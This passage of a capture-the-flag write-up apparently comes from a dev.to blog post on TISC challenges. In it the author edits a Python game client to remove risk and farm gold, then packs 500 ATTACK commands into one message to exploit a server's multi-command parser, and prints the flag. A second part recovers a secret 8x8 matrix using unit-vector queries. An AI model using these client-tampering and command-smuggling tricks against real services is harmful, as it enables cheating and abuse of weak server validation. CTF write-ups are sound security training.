        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send_command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;WORK&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since the client side is something we can control, I reduced the &lt;code&gt;CREEPER_ENCOUNTER_CHANCE&lt;/code&gt; to 0. This allows us to get infinite gold. I also removed the display working screen because I can.&lt;/p&gt;

&lt;p&gt;My modified code is here&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;random&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;random&lt;/span&gt;

&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;GameClient&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;client.ui&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;screens&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;core.models&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;

&lt;span class="n"&gt;CREEPER_ENCOUNTER_CHANCE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="c1"&gt;#.2
&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;WorkEvent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;GameClient&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;random&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;CREEPER_ENCOUNTER_CHANCE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;__die_to_creeper&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;__mine_safely&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__die_to_creeper&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;screens&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;display_creeper_screen&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;screens&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;display_game_over_screen&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__mine_safely&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="c1"&gt;#screens.display_working_screen()
&lt;/span&gt;        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send_command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;WORK&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Running the Client Code
&lt;/h4&gt;

&lt;p&gt;Unlimited gold exploit can be used to increase number of potions, but not number of swords&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftpz663jw7u96aow9a917.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftpz663jw7u96aow9a917.png" width="686" height="428"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Among the bosses is one with attack 50, which instant kills&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fersfpf8snercwxv586g4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fersfpf8snercwxv586g4.png" width="708" height="455"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Another Exploit - Command Interpretation
&lt;/h3&gt;

&lt;p&gt;When checking for the battle events, as I want to bypass the attack power restriction,  I noticed the client side code parsed the commands weirdly. Why &lt;code&gt;commands&lt;/code&gt; instead of &lt;code&gt;command&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;__send_next_boss&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

        &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;history&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log_commands_from_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;recv_command_str&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="c1"&gt;# Should be log_command_from_str
&lt;/span&gt;
            &lt;span class="n"&gt;match&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;history&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;latest&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ATTACK&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HEAL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;history&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log_command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;BOSS_ATTACK&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VALIDATE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="k"&gt;break&lt;/span&gt;
                &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;RUN&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="k"&gt;return&lt;/span&gt;
                &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you check the CommandHistorian class used from &lt;code&gt;core/models/command.py&lt;/code&gt;, you notice that the function used, &lt;code&gt;log_commands_from_str&lt;/code&gt; to parse the commands actually can parse more than 1 command at once&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@dataclass&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;CommandHistorian&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;commands&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;default_factory&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;log_command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;commands&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;log_commands&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;commands&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;]):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;commands&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;extend&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;commands&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;log_command_from_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;command_str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log_command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;command_str&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;log_commands_from_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;commands_str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log_commands&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;command_str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;command_str&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;commands_str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;()]&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="bp"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I modified the function in &lt;code&gt;battleevent.py&lt;/code&gt; to send more than 1 command&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__attack_boss&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="c1"&gt;#self.client.send_command(Command.ATTACK)
&lt;/span&gt;        &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ATTACK&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;)])&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;_GameClient__send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;boss&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;receive_attack_from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;player&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Just run &lt;code&gt;python3 main.py --host chal00bq3ouweqtzva9xcobep6spl5m75fucey.ctf.sg --port 18261&lt;/code&gt;, keep attacking the bosses, and you should get the flag&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhm55sfrcd97w3q52xur8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhm55sfrcd97w3q52xur8.png" width="657" height="437"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Flag
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;TISC{L3T5_M33T_4G41N_1N_500_Y34R5_96eef57b46a6db572c08eef5f1924bc3}&lt;/code&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Level 2
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzws8ynarpub3w3mo5i4p.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzws8ynarpub3w3mo5i4p.png" width="579" height="474"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Easy Challenge, just basic math lol&lt;/p&gt;

&lt;p&gt;&lt;a href="https://api.tisc.csit-events.sg/file?id=cl6j1u5ua09al0838dm6l6udp&amp;amp;name=2WKV_Whitepaper.pdf" rel="noopener noreferrer"&gt;https://api.tisc.csit-events.sg/file?id=cl6j1u5ua09al0838dm6l6udp&amp;amp;name=2WKV_Whitepaper.pdf&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Solution
&lt;/h2&gt;

&lt;h2&gt;
  
  
  Matrix Multiplication
&lt;/h2&gt;

&lt;p&gt;On reading the PDF document, you can find the code for the server and a brief explanation.&lt;/p&gt;

&lt;p&gt;The code generates an 8x8 matrix SECRET_KEY. You can provide challenge to get a response 8 times. Then they give you the challenge inputvector, and you are supposed to return the correct response input vector 8 times. If all is correct you are verified and you get the flag.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd6twb0yvv0jly6sdfayt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd6twb0yvv0jly6sdfayt.png" width="785" height="182"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Refresher on matrix multiplication (Secondary School topic)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpa0nsxbliaebjto3mdz3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpa0nsxbliaebjto3mdz3.png" width="800" height="422"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can give a vector with only 1 value set to 1, (eg. &lt;code&gt;10000000&lt;/code&gt;) to find 8 corresponding values in the SECRET_KEY matrix. We can repeat this 8 times to get the entire matrix&lt;/p&gt;

&lt;h3&gt;
  
  
  Solution Script and Command Output
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/python
&lt;/span&gt;
&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
# Answers
10000000
01000000
00100000
00010000
00001000
00000100
00000010
00000001
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

&lt;span class="n"&gt;responses&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
00111100
00100010
10010110
11111011
11110001
00011001
10010110
00001100
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;numpy&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;strtovec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cols&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromiter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;dtype&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;int&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;reshape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cols&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;SKEY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;  
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;responses&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt; &lt;span class="c1"&gt;# lines
&lt;/span&gt;  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; 
    &lt;span class="n"&gt;SKEY&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;responses&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="c1"&gt;# for i in SKEY: print(i) # Visualise
